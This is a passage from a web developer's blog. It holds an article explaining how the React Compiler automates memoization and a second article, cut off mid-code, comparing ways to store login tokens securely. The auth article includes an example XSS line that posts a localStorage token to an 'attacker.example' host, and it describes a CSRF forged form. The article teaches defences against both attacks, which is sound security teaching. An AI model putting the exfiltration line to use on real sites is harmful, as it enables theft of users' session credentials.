told me we dont need it anymore. And I think he is right. ## References - [Zustand](https://github.com/pmndrs/zustand) - [Redux: createStore](https://redux.js.org/api/createstore) and [Redux Toolkit](https://redux-toolkit.js.org/) - [Dan Abramov: You Might Not Need Redux](https://medium.com/@dan_abramov/you-might-not-need-redux-be46360cf367) - [Jotai: Core internals](https://jotai.org/docs/guides/core-internals) - [Daishi Kato: Why useSyncExternalStore Is Not Used in Jotai](https://blog.axlight.com/posts/why-use-sync-external-store-is-not-used-in-jotai/) - [Announcing Zustand v5](https://pmnd.rs/blog/announcing-zustand-v5/) - [Daishi Kato: How Valtio Proxy State Works](https://blog.axlight.com/posts/how-valtio-proxy-state-works-react-part/) - [MobX: Understanding reactivity](https://mobx.js.org/understanding-reactivity.html) - [Photoroom: Picking a state management library for a React app used by millions](https://www.photoroom.com/inside-photoroom/picking-a-state-management-library-why-we-went-with-mobx-) - [React docs: useSyncExternalStore](https://react.dev/reference/react/useSyncExternalStore) - [TC39 Signals proposal](https://github.com/tc39/proposal-signals) - [Component communication patterns in React](https://neciudan.dev/component-communication-patterns-in-react) --- ## The React Compiler URL: https://neciudan.dev/react-compiler-explained Published: 2026-07-11 Right now, somewhere in your codebase, a component wrapped in `React.memo` still re-renders on every keystroke. The wrapper seems to work. The component is memoized, and callbacks are wrapped in useCallback; the author put some effort into it. But somewhere up the tree, a parent passes an inline arrow function as a prop, or builds a fresh options object during render, or spreads props it received from its own parent. The check inside `memo` sees a changed prop and re-renders the component every single time, exactly as if the wrapper wasn't there. React never warns you when this happens. The app works, and the tests pass, so the broken optimization just sits there, and the costs add up quietly. Manual memoization doesn't scale. Meta had this problem and developed a compiler to automate memoization, eliminating the need for developers to manually fix components. The compiler powers Instagram and the Meta Quest Store in production, and it automatically detects dependencies within your components, inserting optimal memoization into the compiled code. This saves development time, reduces bugs, and ensures the shipped code is always the most efficient version, with zero manual memoization required in your source code. Say hi to the React Compiler. ## What is it The React Compiler is a build-time tool. It runs during your build and rewrites your components with memoization added. Your build already rewrites code for you—for instance, by turning JSX into JavaScript. The React Compiler works as a Babel plugin, fitting seamlessly into this process. And because the optimization happens in the build output, you get to write the version with none of it in your source: ```tsx function List({ items, onSelect }) { const handleClick = (item) => { onSelect(item.id); }; return (
    {items.map(item => ( handleClick(item)} /> ))}
); } ``` There's no manual memoization anywhere. That means you dont have to add `useMemo`, `useCallback` or `React.memo` everywhere in your components. The compiler analyzes which values depend on which props and state, then generates code that caches each piece and recomputes it only when its actual inputs change. This project started at Meta under the codename React Forget, because the goal was to make you forget memoization exists. A first public demo appeared in 2021, an experimental release followed at React Conf 2024, and version 1.0 landed on October 7, 2025. Despite the shared timeline with React 19, the compiler is not part of the `react` package. Installing React 19 gives you the runtime support the compiled code relies on, but the compilation itself is a separate tool you add to your build pipeline. ## What the compiled output actually looks like Now that we know what the Compiler is and does, once you add it and run it on your codebase, you'd expect the compiler to insert `useMemo` and `useCallback` calls for you in the final result. It doesn't because `useMemo` is complicated. Every call allocates a closure and a fresh dependency array on every render, just to decide whether the cached value can be reused. When you memoize five values by hand, that overhead is negligible; when a compiler memoizes nearly everything in every component, it adds up. So the compiler generates its own caching mechanism instead. For example: ```tsx function TodoList({ todos, tab }) { const visibleTodos = filterTodos(todos, tab); return
    {visibleTodos.map(todo =>
  • {todo.text}
  • )}
; } ``` Compiles to this (simplified for readability): ```js function TodoList(t0) { const $ = _c(5); // request 5 cache slots for this component const { todos, tab } = t0; let visibleTodos; if ($[0] !== todos || $[1] !== tab) { // an input changed, so recompute and store the result visibleTodos = filterTodos(todos, tab); $[0] = todos; $[1] = tab; $[2] = visibleTodos; } else { // inputs are identical, so reuse the cached value visibleTodos = $[2]; } // ...the same pattern repeats for the JSX itself } ``` Here is what is happening. First, the `t0` parameter is just your props object, renamed and destructured. The `_c(5)` call creates an array with five slots attached to the component instance. On each render, the code checks current and stored inputs. If they match, it reuses the cached output; otherwise, it recomputes and updates values. The comparison uses reference equality, just as memo and dependency arrays do. If a parent builds a new `todos` array on each render, even with identical contents, every comparison downstream fails, and each cached value gets recomputed. The compiler follows the same reference-equality rules React always has. The generated check is an `if` statement over a few array reads, which is about as cheap as JavaScript gets, so the compiler can afford to apply it far more densely than you'd ever apply `useMemo` by hand. The dependency tracking is also better. When you write a `useMemo`, you decide what goes in the dependency array, and you can get it wrong; the compiler derives the dependencies from the actual data flow of the code, so the set of things it compares is exactly the set of things the computation reads. And the compiler can memoize in places where `useMemo` is illegal. Hooks can't be called conditionally or after an early return, so a component like this can't be memoized by hand at all: ```tsx function FriendList({ friends }) { if (friends.length === 0) { return ; // early return, no hooks allowed past this point } const summary = buildSummary(friends); // useMemo can't help you here return ; } ``` The compiler doesn't care, because its cache slots aren't hooks in your code. It memoizes each branch independently, including the `` JSX inside the early return. If you want to see this on your own components, paste them into the [React Compiler Playground](https://playground.react.dev). ## How it skips re-renders without React.memo The walkthrough above shows values being cached, but caching a filtered array doesn't stop a child component from re-rendering. The compiler skips re-renders through a different mechanism. Let's start with what JSX actually is. `` is a function call that produces an element object, a plain description of what should be rendered. Every render of the parent normally produces a fresh element object for each child. React has a long-standing bailout rule for these objects: if a component receives the exact same element object it received last time, React skips re-rendering it, because an identical description can't produce different output. It's the same reason the pattern of passing components as `children` avoids re-renders. And the compiler exploits that rule systematically. The JSX itself goes into cache slots, so when nothing an element depends on has changed, the parent's compiled code hands React the identical element object from the previous render, and React bails out of that entire subtree. No `memo` wrapper anywhere; the parent just stops producing new descriptions. That places the skipping in the parent's compiled output, not in the child. If you compile a leaf component but its parent stays uncompiled, the parent keeps creating fresh element objects on every render, and your compiled leaf keeps re-rendering exactly as before. ## How to turn it on The compiler is a Babel plugin, so setup depends on your build tool and it must run first in the Babel plugin pipeline, because it needs your original, untransformed source to analyze. ### Vite For Vite, install the plugin along with a small Babel bridge: `bashnpm install --save-dev --save-exact babel-plugin-react-compiler@latest` `npm install --save-dev @rolldown/plugin-babel` ``` js// vite.config.js import { defineConfig } from 'vite'; import react, { reactCompilerPreset } from '@vitejs/plugin-react'; import babel from '@rolldown/plugin-babel'; export default defineConfig({ plugins: [ react(), babel({ presets: [reactCompilerPreset()], }), ], }); ``` If you're on a version of `@vitejs/plugin-react` older than 6.0, there's a shorter form: the plugin used to accept Babel plugins inline, as `react({ babel: { plugins: ['babel-plugin-react-compiler'] } })`. Version 6.0 removed that inline option, which is why the current setup goes through a separate Babel plugin. ### Next.js For Next.js, compiler support went stable in version 16, and enabling it is a single config flag: ```ts // next.config.ts import type { NextConfig } from 'next'; const nextConfig: NextConfig = { reactCompiler: true, }; export default nextConfig; ``` But know that Next.js normally doesn't use Babel at all. It compiles with SWC, a Rust-based tool the Next.js team adopted precisely because it's much faster than Babel, and the React Compiler only runs through Babel today (to verify this). So, enabling the compiler reattaches Babel to a pipeline built to avoid it, and your dev and production builds get slower. Next.js softens this with a pre-pass that detects which files actually contain JSX or hooks and only runs the compiler on those. An official SWC plugin for the compiler is in progress. ### Expo The React team has said plainly that they expect the compiler to become the default way React code is built, and the ecosystem is rolling toward that in stages. Expo went first. New apps created with SDK 54 or later ship with the compiler enabled in the default template, so every new Expo app is compiled from the first `npx expo start`. You can press J in the Expo CLI to open the components panel and see which components were memoized. ## Which React versions does it work with The compiled output needs that `_c` cache hook at runtime, and the hook ships inside React 19. So by default, the compiler targets React 19. You're not locked out on older versions, though. The compiler officially supports React 17 and 18 through a small runtime package that you install as a regular dependency: ```bash npm install react-compiler-runtime@latest ``` Then you tell the compiler which React version to generate code for: ```js // babel.config.js module.exports = { plugins: [ ['babel-plugin-react-compiler', { target: '18' }], // '17' | '18' | '19' ], }; ``` The mechanism behind the `target` option is simple. With `target: '19'`, the generated code imports the cache hook from `react/compiler-runtime`, which is built into React itself. With `target: '17'` or `'18'`, it imports from the standalone `react-compiler-runtime` package instead, which provides an implementation of the same hook built on APIs that exist in your React version. So a team stuck on React 18 because of one dependency they can't upgrade still gets automatic memoization today. When they eventually move to 19, they change the target, drop the runtime package, and the output switches to the built-in implementation. The standalone runtime is a polyfill, though, and it behaves slightly differently from React 19's built-in implementation. It may not retain cached values in all the same circumstances, so treat it as a bridge to React 19. Class components are a no-no though. The compiler only optimizes function components and hooks, so class components pass through the build untouched; they keep working, but they just gain nothing. ## What happens to your existing useMemo and useCallback Everyone asks this. First thing first for new code: stop writing them, and stop wrapping components in `React.memo` while you're at it. The compiler's memoization covers what all three APIs did. For existing code: leave it alone, at least initially. You might be inspired to create a giant pull request deleting every `useMemo` in the codebase, and while this might be satisfing the React docs specifically recommend against it. If a memoized value is in a `useEffect` dependency array, its reference stability determines when that effect fires. Removing the `useMemo` changes the compilation output, and if the compiler draws its memoization boundaries slightly differently than you did in that spot, the effect can start firing more or less often than before. The same risk exists in the other direction, on the day you first enable the compiler. An effect whose dependency used to be a fresh object on every render was re-firing on every render, and if the compiler stabilizes that reference, the effect suddenly stops re-firing. If some behavior quietly depended on that constant re-firing, it stops too. This is also the real justification behind the `--save-exact` flag we used earlier. Memoization boundaries can shift between compiler versions, so you want end-to-end tests standing between a compiler upgrade and production. Your existing hooks don't get silently discarded either. The compiler only compiles a component when its own inference matches or exceeds the memoization you wrote by hand, and when it can't prove that, it skips the component entirely rather than ship weaker memoization than you asked for (the `preserve-manual-memoization` lint rule flags exactly these cases). The redundant hooks that do get compiled cost almost nothing at runtime, so there's no urgency; you can clean them up gradually, with tests, once the compiler has been running for a while. Some manual memoization you'll keep forever, as an escape hatch. Take the code below and imagine it without the `useMemo`. The `options` object gets created fresh on every render, so the effect's dependency changes on every render, so the effect tears down and re-runs on every render, and with a real subscription behind it, that means disconnecting and reconnecting every time the user types a character: ```tsx // The effect must only re-run when the query meaningfully changes, // so we pin the reference by hand rather than relying on the // compiler's boundaries, which may shift between versions. const options = useMemo(() => ({ query, page }), [query, page]); useEffect(function syncSearchSubscription() { const sub = subscribeToSearch(options); return () => sub.unsubscribe(); }, [options]); ``` The other case is third-party code that holds references to your functions. A chart library that registers an `onClick` handler once at initialization, a DOM API, a non-React SDK; those systems live outside the compiler's view, so when reference identity is part of a contract with the outside world, keep the `useCallback`. React 19.2 shrinks even this category further with `useEffectEvent`, a hook for the case where an effect reads a value but shouldn't re-run when that value changes. ## When the compiler skips your component The compiler can only memoize code it can prove is safe to memoize, and the proof depends on your code following the Rules of React: - components stay pure during render - props and state don't get mutated - hooks get called unconditionally. When a component breaks those rules in a way the compiler can detect, it doesn't try to repair your code, and it doesn't break it either. It skips the component entirely and leaves it exactly as you wrote it. You can see which components made it through in the Components tab of React DevTools, where compiled components get a small "Memo ✨" badge. A component missing the badge is a component the compiler gave up on. That usually means a rule violation, though it can also mean manual memoization; the compiler couldn't prove it matches. The lint rules from `eslint-plugin-react-hooks` will tell you which one you're looking at. The badge works in development because the compiler runs wherever the Babel plugin runs, including your dev server. So the compiled behavior is what you're already profiling locally, rather than something that only appears in a production build. Before enabling anything, you can also run `npx react-compiler-healthcheck` on your project. It scans the codebase and reports how many components can be compiled successfully. If you enable the compiler globally and one component misbehaves, you opt that one out while you investigate: ```tsx function LegacyDataGrid() { 'use no memo'; // skipped by the compiler entirely } ``` If you'd rather migrate component by component, you set `compilationMode: 'annotation'` in the compiler config and opt components in instead: ```tsx function ProductList() { 'use memo'; // only annotated functions get compiled } ``` For production rollouts of apps with real traffic, there's a third option. The compiler's `gating` config makes it emit two versions of each compiled function, the optimized one and the original, and switch between them at runtime based on a feature flag function you provide. That turns the compiler into something you can canary: ship both versions, enable the flag for 5% of users, watch your error rates and metrics, and ramp up as you gain more confidence. ## What it doesn't do A few boundaries to keep in mind: **The cache is per component.** If five components each call `processHugeDataset(data)` with the same data, that function runs five times, once per component, each result cached separately. The compiler will not hoist shared work into a shared cache, so cross-component caching is still your job, whether that means lifting the computation up, putting it in context, or letting TanStack Query hold it. **It only compiles your code.** Everything in `node_modules` passes through untouched, because the compiler needs original source and your dependencies ship transformed output. If a library wants to ship compiled components, the library author has to run the compiler before publishing. **It can't stabilize what it can't see.** If a third-party hook returns a fresh object on every call, the compiler receives an unstable reference, and you already know from the cache mechanism what happens next: the reference check fails on every render, and every cached value depending on it recomputes. Your components get optimized, but instability flowing in from outside them does not. **Server Components gain almost nothing.** A Server Component renders on the server and never re-renders on the client, and memoization is a tool for skipping re-renders, so there's nothing there for the compiler to speed up. **It does nothing for the problems that dominate most slow apps.** Network waterfalls, oversized bundles, slow servers, fetching in effects: the compiler makes re-renders cheaper, and if your app is slow for any other reason, it will be exactly as slow with the compiler on. **It does not work with Class Components**. It skips them, like I mentioned before. ## The numbers Meta shipped the compiler on the Meta Quest Store and measured initial loads and cross-page navigations improving by up to 12%, with certain interactions more than 2.5x faster and memory usage staying neutral. Sanity precompiled their Studio packages and reported a 20-30% reduction in overall render time and latency, with 1,231 of their 1,411 components compiling successfully on the first pass. Wakelet rolled the compiler out to 100% of users and measured two Web Vitals: - LCP, the time until the main content is visible on screen, improved by about 10% (2.6s down to 2.4s). - INP, the gap between a user interaction and the screen's response, improved by about 15% (275ms down to 240ms), and on pure-React surfaces like dropdowns, the interaction speedup was closer to 30%. Your numbers will depend on how much unnecessary re-rendering your app was doing in the first place. ## Where this leaves you For a new project, enable the compiler on day one and write components without thinking about memoization. Expo already made that decision for you, and in Vite or Next.js, it's just one config block. For an existing project, run the healthcheck, upgrade `eslint-plugin-react-hooks` to v6 or later, and fix what the linter flags. Then enable the compiler on whole subtrees rather than individual components, profile an interactive page before and after, and leave your existing `useMemo` calls in place until you can remove them slowly, with tests. In React 19.2, the profiling part got easier too: React now ships Performance Tracks directly in the Chrome DevTools profiler, with a Scheduler track and a Components track that show exactly which components rendered and when. Turn it on. ## References - [React Compiler v1.0](https://react.dev/blog/2025/10/07/react-compiler-1) - React blog, the stable release announcement - [React Compiler: Introduction](https://react.dev/learn/react-compiler/introduction) - React docs - [Introducing React Compiler](https://github.com/reactwg/react-compiler/discussions/5) - React Working Group, on how the compiled output works - [Using the compiler on < React 19](https://github.com/reactwg/react-compiler/discussions/6) - React Working Group, on the `_c` cache hook and the runtime package - [React Compiler Playground](https://playground.react.dev) - paste your components, see the output - [Next.js: reactCompiler](https://nextjs.org/docs/app/api-reference/config/next-config-js/reactCompiler) - Next.js docs - [Next.js 16](https://nextjs.org/blog/next-16) - stable compiler support announcement - [Expo: React Compiler](https://docs.expo.dev/guides/react-compiler/) - Expo docs, enabled by default in SDK 54+ - [React Compiler Beta Release](https://react.dev/blog/2024/10/21/react-compiler-beta-release) - React blog, where React 17/18 support landed - [React Compiler: Incremental Adoption](https://react.dev/learn/react-compiler/incremental-adoption) - React docs, directives, annotation mode, and runtime gating - [preserve-manual-memoization](https://react.dev/reference/eslint-plugin-react-hooks/lints/preserve-manual-memoization) - React docs, how the compiler treats existing useMemo/useCallback as a floor - [Meta's React Compiler 1.0 Brings Automatic Memoization to Production](https://www.infoq.com/news/2025/12/react-compiler-meta/) - InfoQ, with the Sanity and Wakelet case study numbers - [I tried React Compiler today, and guess what...](https://www.developerway.com/posts/i-tried-react-compiler) - Nadia Makarevich, on the compiler's limits with unstable third-party references --- ## What's the best way to do authentication in modern applications URL: https://neciudan.dev/most-secure-way-to-store-auth-token Published: 2026-07-04 Ask ten frontend developers where to store a login token, and you'll get four answers and an argument. And because each approach addresses different concerns, the debates continue without resolution. So let's clarify once and for all: What are the options to store a token, which are the most secure and what are the use cases. I go much deeper on XSS and CSRF in my [FREE frontend security course](https://neciudan.dev/master-security), but I wanted to tackle auth on its own. ## The basics I've written this, you might have too. Every "build a full-stack app in an afternoon" article and tutorial has written this. The user submits a login form; the server checks the password and returns a token. You put it in localStorage and attach it to every request from then on: ```tsx async function login(email: string, password: string) { const res = await fetch('/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); const { token } = await res.json(); localStorage.setItem('token', token); } async function fetchProfile() { const res = await fetch('/api/me', { headers: { Authorization: `Bearer ${localStorage.getItem('token')}`, }, }); return res.json(); } ``` That token is almost always a JWT. A JWT (JSON Web Token) is a string in three parts, separated by dots: a header, a payload, and a signature. The payload contains facts about the user, such as their ID and maybe their role. The signature is a stamp that proves your server produced this exact payload and that no one tampered with it. The trick that made JWTs popular is what the server does when it receives the token. It re-computes the stamp, checks it matches, and then trusts the payload without looking anything up. The user's ID is *inside* the token, cryptographically vouched for, so there's no database row to read to get the userID or to verify the user. People call this "stateless". And to be fair to the tutorials, this works. It survives refreshes because localStorage persists, and it sidesteps every cookie headache. The `Authorization: Bearer` header also travels across domains cleanly, so an app on one domain can call an API on another without much thought. JWT works, but the code we wrote has exactly one problem: where we stored the JWT. ## What XSS does to that token localStorage has one defining trait: any JavaScript on your page can read all of it. Whose JavaScript runs on your page? Yours, sure. But also every npm package you installed, and every package *those* packages pulled in. Your analytics snippet. Your support chat widget. Anything a browser extension decides to inject. And, the day it happens, an attacker's. That last one is XSS. Cross-site scripting means an attacker has gotten their code to run on your page. Usually through something dull: a comment field that renders user text as HTML without escaping it, a URL parameter reflected straight into the DOM, or a dependency that shipped malicious code in a patch release. When that happens, the token is one line from gone: ```tsx fetch('https://attacker.example/collect', { method: 'POST', body: localStorage.getItem('token'), }); ``` The attacker now has your bearer token, and "bearer" is literal (It does not come from the show The Bear): whoever bears it *is* you. The server checks the stamp, sees a valid payload, and says hello. They no longer need your browser. They don't need your tab open. They paste that string into a script on their own machine, and your API treats them as you, from anywhere on earth, until the token expires (mostly). If you signed that token with a 7-day expiry, as plenty of tutorials do, that's a 7-day skeleton key. You can't cancel it, because the whole point of "stateless" was that the server checks nothing. Everything the attacker does next happens on their infrastructure, on their schedule, completely invisible to you. ## "If they can run JS, you're already dead" A common saying is that if an attacker can run JavaScript on your page, they can already do anything. Read everything on screen, fire requests from the user's browser, ride whatever credentials the browser attaches. Hiding the token changes nothing. The first half is true. Protecting the token does **not** stop XSS. Anyone who tells you an HTTP-only cookie "prevents XSS" is confused or selling something. But look at what the attacker is limited to in each case, because they are not the same case. If the attacker can **read** the token, they take it home. The attack keeps working after the tab closes, from their own machine, at their own pace, for the full lifetime of the token. If the attacker **cannot** read the token, they can only ride the live session. Their script fires requests from inside the victim's browser while that tab is open, and every one of those requests lands on your server, where your rate limits, logging, and fraud checks live. One is a stolen key. The other is a burglar who can only act while standing inside your house, in front of your cameras, and only until the owner walks out. You'd obviously rather have neither, but XSS bugs ship eventually. The realistic goal is to reduce how often XSS bugs ship and to shrink what they can do when it happens. Security folks call it reducing the blast radius, so let's set our goal: get the token to a location where JavaScript can't read it. ## Attempt two: hold it in memory First instinct: skip storage entirely, keep the token in a plain variable. ```tsx let accessToken: string | null = null; async function login(email: string, password: string) { const res = await fetch('/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); const { token } = await res.json(); accessToken = token; // lives in memory, never written to disk } ``` A plain variable like that (it lives in the module's scope, not on any object an attacker can list) is meaningfully harder to grab than localStorage. LocalStorage is a public bulletin board that an attacker can enumerate key by key. A loose variable is at least something they have to know exists and can name. Harder, though, isn't safe. The attacker's code runs in the *same JavaScript world* as yours. It can replace `window.fetch` with its own version, wait for your app to attach the `Authorization` header, and copy the token as it flies past. And you paid a steep price for that narrowing. If your user refreshes the page, and the JavaScript world is rebuilt from nothing. Your variable is gone and the user is logged out. Open a second tab, and it has its own memory, its own empty `accessToken`, and no idea the first tab exists. Logged out there too. Nobody ships an app that logs you out on every refresh, so what you can add is to use a second, longer-lived credential whose only job is to silently mint new access tokens. It's called a refresh token. But then where does the refresh token live? Put it in localStorage, and we're back to square one. The attacker grabs the refresh token instead and mints fresh access tokens forever. We walked in a circle. JavaScript-reachable storage cannot safely hold a long-lived credential. We need a spot in the browser that JavaScript flat-out cannot reach. ## Attempt three: the httpOnly cookie Cookies have a bad reputation, mostly because the only time normies meet them is in a consent banner. Underneath the banner nonsense, a cookie is a small value the server asks the browser to store and then automatically attaches to every request sent back to that server. The server sets one with a response header, and we can protect it with a couple of extra flags: ``` Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ ``` Each flag tightens security. `HttpOnly` tells the browser: never hand this cookie to JavaScript. `document.cookie` won't show it. No script can read it, including the attacker's script mid-XSS. The browser attaches it to outgoing requests, and that is the *only* thing that can ever happen to it. `Secure` says only send it over HTTPS, so it never crosses a coffee-shop network in plain text. `SameSite=Lax` means don't attach this cookie when the request comes from a different site( with one exception we'll hit in a second). By using this your frontend actually gets *simpler*, which is a pleasant surprise. There's no token to manage, so login is just a request, and later requests only need to opt into sending credentials: ```tsx async function login(email: string, password: string) { await fetch('/api/login', { method: 'POST', credentials: 'include', // browser handles the cookie from here headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); // Nothing in the response body to store. There's no token in our code at all. } async function fetchProfile() { const res = await fetch('/api/me', { credentials: 'include' }); return res.json(); } ``` But `httpOnly` stops **exfiltration**, not **abuse**. During an XSS attack, the attacker can absolutely still do damage by making requests in place; they just can't walk off with the credentials and use them next Tuesday from their laptop. ## CSRF You're logged into your bank. The session cookie sits in your browser. In another tab, you open a sketchy coupon site, and its page quietly contains this: ```html
``` The form auto-submits on page load. The request goes to your bank, and the browser sees a request bound for `bank.example`, checks its jar for cookies for that site, finds your session cookie, and attaches it. Because that's the deal with cookies. They ride along automatically. Your bank receives a request that appears to be your real session, as if you clicked "transfer." The money is gone. That's CSRF, cross-site request forgery: a foreign page tricking your browser into sending an authenticated request you never meant to send. Notice the old localStorage version was immune to this. A foreign site can't read your localStorage, so it could never build that `Authorization` header. Switching to cookies traded the exfiltration problem for the forgery problem. The good news: forgery is a mostly solved problem, with a well-documented stack of defenses. **The primary defense is a CSRF token.** The server plants an unpredictable value in your page, and every state-changing request has to send that value back. The forged form on the coupon site can't read your page (the same-origin policy stops it), so it can never know the value, so its request fails the check. The common pattern for an API-driven app is "double submit": the server sets the token as a readable cookie, and your frontend copies it into a header on each mutating request. The server accepts the request only if the cookie and the header match. ```tsx // The token is in a readable (not HTTP-only) cookie set by the server. function getCsrfToken() { return document.cookie .split('; ') .find((c) => c.startsWith('csrf_token=')) ?.split('=')[1]; } async function post(path: string, body: unknown) { return fetch(path, { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': getCsrfToken() ?? '', // echo it back in a header }, body: JSON.stringify(body), }); } ``` The attacker's forged form can set cookies going out, but it cannot set that header, because the browser only lets *your* JavaScript, running on *your* origin, add custom headers to a request. **Second line of defense: SameSite.** `SameSite=Lax` (or `Strict`) tells the browser not to attach the cookie on cross-site requests, which blocks that hidden coupon-site form. Dont let this be your only line of defense, though, because it has two problems. The first problem is Lax's exception for top-level GET navigations. When a user clicks a link to your site, Lax *does* send the cookie, which is what lets an emailed dashboard link land a user logged in. Then we need to make sure: **GET requests must never change data.** If a GET can transfer money, Lax forges it happily, and so does an attacker using a framework's "method override" to disguise a GET as a POST. The second problem is the word "site." `SameSite` guards *same-site*, not *same-origin*, and those are different things. `app.example.com` and `payments.example.com` are the same *site*, so SameSite does nothing between your own subdomains. **Third lin of defense: check where the request came from.** Browsers stamp requests with headers the sending page can't forge, `Origin` and the newer `Sec-Fetch-Site`. Your server reads them and drops anything that isn't same-origin on a mutating route: ```ts // Express middleware, ahead of any mutating route app.use((req, res, next) => { if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) { const site = req.get('Sec-Fetch-Site'); if (site && site !== 'same-origin') { return res.status(403).json({ error: 'cross-site request rejected' }); } } next(); }); ``` So CSRF token first, then SameSite, and finally origin checks. There's also another trick you can use: the `__Host-` prefix. Name your session cookie `__Host-session,` and the browser refuses to accept it unless it's `Secure`, has no `Domain` attribute (so it's locked to the exact host, no subdomains), and has `Path=/`. It's a free security improvement, and with only one cookie rename, OWASP calls the `__Host-` prefixed cookie the most secure configuration there is. ``` Set-Cookie: __Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ ``` ## Sessions vs JWTs So far, we compared localStorage vs. cookies and concluded that a cookie with the three CSRF guardrails is the most secure. Then, should we just store the JWT in the cookies? Look back at the last code example. I called it `session=abc123`, not `token=eyJhbGciOi...`. The JWT earned its spot by being stateless. But statelessness has a dark side that only shows up when something goes wrong. A JWT is valid until it expires, and there is no way to undo it. The user hits "log out"? The token in their hand is still valid. The user changes their password after a scary email? Old tokens still work. You ban an account for abuse? That account's token keeps working until the expiry you picked passes. You have to mitigate this with a server-side list of revoked tokens you check on every request. Read that back slowly: a list, on the server, checked every request. You've rebuilt server-side sessions, except with larger tokens. So the boring 2005 design wins. The cookie holds a long random string that means nothing on its own, and the server keeps a row matching that string to a user: ```ts app.post('/api/login', async (req, res) => { const user = await verifyPassword(req.body.email, req.body.password); const sessionId = crypto.randomBytes(32).toString('hex'); // opaque, meaningless await db.sessions.create({ id: sessionId, userId: user.id }); res.cookie('__Host-session', sessionId, { httpOnly: true, secure: true, sameSite: 'lax', path: '/', }); res.json({ ok: true }); }); ``` One important tip here: issue a brand-new session ID at login, and never reuse one the client handed you. If you keep whatever session ID was already in the browser, an attacker can plant a known ID before login and inherit the session afterward (this is called session fixation). The same move applies any time the session gains power, not just at login. Passing a 2FA check, elevating to admin, stepping into an area that needed re-auth, reset password etc: generate a fresh ID at each of those. Login is only a third of it, though; something has to turn that cookie back into "this is Jane" on every subsequent request: ```ts // Runs before your routes. Reads the cookie, finds the user, or leaves it null. app.use(async (req, res, next) => { const sessionId = req.cookies['__Host-session']; const session = sessionId ? await db.sessions.get(sessionId) : null; // Attach the user to the request so every route below can see it req.user = session ? await db.users.get(session.userId) : null; next(); }); // A protected route now reads req.user and trusts it, because the // middleware already did the work. app.get('/api/orders', async (req, res) => { if (!req.user) return res.status(401).json({ error: 'not logged in' }); res.json(await db.orders.findByUser(req.user.id)); }); ``` This design beats the stateless JWT for a single app. The user's current role, whether they're banned, whether they just got downgraded from admin ten seconds ago, all of it is fresh on every request, because you're reading it live instead of trusting a claim a token baked in an hour ago. Logout, which I keep saying is "just deleting the row," is exactly that: ```ts app.post('/api/logout', async (req, res) => { const sessionId = req.cookies['__Host-session']; if (sessionId) await db.sessions.delete(sessionId); // the session is now gone, server-side res.clearCookie('__Host-session'); res.json({ ok: true }); }); ``` The session dies the instant that row is deleted, everywhere and on every device, with no waiting for a token to expire. The database-lookup JWTs you're promised save you a sub-millisecond hit on an indexed table, or a Redis read if you're chasing microseconds. For one backend serving one frontend, statelessness solved a scaling problem you didn't have and created a revocation problem you didn't want. ## Where JWTs work I don't want to leave you thinking JWTs are bad. JWTs shine wherever verifying a token is better than sharing a database. Your API gateway calls an internal billing service, which calls a notifications service (In an internal Kubernetics network with thousands of microservices). A short-lived JWT rides along, and each service checks the user's identity locally rather than all three hammering a single session store. Single sign-on runs on the same idea. Click "Sign in with Google," and Google hands your app a JWT that asserts "yes, this is really this person." Your app reads it once, starts *its own* session, and throws the JWT away. ## OAuth Speaking about about "Sign in with Google". When your app talks to an OAuth provider, you don't get to pick the token format. You receive an access token and a refresh token. The access token lives in memory, exactly like attempt two with our variable. It's short-lived, five to fifteen minutes, so the worst case for an attacker who snags one is a fifteen-minute window before it's useless. The refresh token lives in an httpOnly cookie, scoped by `path,` so the browser only ever sends it to the one endpoint that generates new access tokens: ```ts res.cookie('refresh_token', refreshToken, { httpOnly: true, secure: true, sameSite: 'strict', path: '/api/refresh', // sent here and nowhere else }); ``` Notice that this cookie can't use the `__Host-` prefix we used for the session cookie, because that prefix requires `Path=/`, whereas here we're deliberately narrowing the path. Now the refresh cycle fixes some of our previous problems with in-memory storage. Page refresh wipes your in-memory access token, so on load, your app quietly calls `/api/refresh`. The browser attaches the cookie, the server returns a fresh access token, and the user never sees a login screen. One more mechanism that makes this resilient is **rotation**. Every time a refresh token is used, the server invalidates it and hands back a new one. Refresh tokens become single-use links in a chain, and the server remembers which chain each token belongs to. Now watch a theft play out. An attacker steals refresh token #4 and uses it. They get #5. They're in. But your real app still holds #4, and on its next scheduled refresh (after the 15' window), it presents #4, a token the server has already seen consumed. A single-use token showing up a second time is impossible in normal operation. It is a signature of theft. The server responds by burning the entire chain, including the attacker's shiny #5, and forcing a fresh login. The stolen credential defuses itself. (Small side note: two tabs refreshing at the same millisecond can trip that same alarm and log a legitimate user out. Real implementations add a small grace period during which the just-rotated token is still accepted, so honest concurrency doesn't read as an attack. If you turn on rotation and start getting mystery logout reports, this is almost always why.) Auth0, Okta, and every serious provider run rotation with reuse detection by default, and RFC 9700, the current OAuth security best practice from early 2025, requires rotation or an equivalent for browser clients. This split pattern is genuinely good, and it's also the best you can do while tokens still touch the browser. ### Wiring this into actual React Everything so far has been login functions and cookie flags. If you're a React developer, you're probably wondering where any of this touches a component. You never want components sprinkling `Authorization` headers everywhere. You want one wrapper around `fetch` that attaches the access token, and, when the token has expired, transparently refreshes it and retries. Components just call `api()` and stay ignorant of everything else. ```tsx let accessToken: string | null = null; async function api(path: string, options: RequestInit = {}) { const res = await fetch(path, { ...options, headers: { ...options.headers, Authorization: `Bearer ${accessToken}` }, }); if (res.status === 401) { // token expired, refresh and retry const refresh = await fetch('/api/refresh', { credentials: 'include' }); accessToken = (await refresh.json()).token; return fetch(path, { ...options, headers: { ...options.headers, Authorization: `Bearer ${accessToken}` }, }); } return res; } ``` The problem with this shows up under heavy load. Your dashboard mounts and fires five requests at once. The access token has expired, so all five return 401 at roughly the same time. All five call `/api/refresh`. If you turned on refresh token rotation from earlier, the first refresh rotates the token, and the other four are now presenting a token that the server just retired. Reuse detected. The server burns the chain and logs your user out for the crime of loading a page. So you need the refreshes to collapse into one. The trick is to store the in-flight refresh *promise*, not just fire a request. Everyone who arrives while a refresh is running awaits the same promise: ```tsx let accessToken: string | null = null; let refreshing: Promise | null = null; function 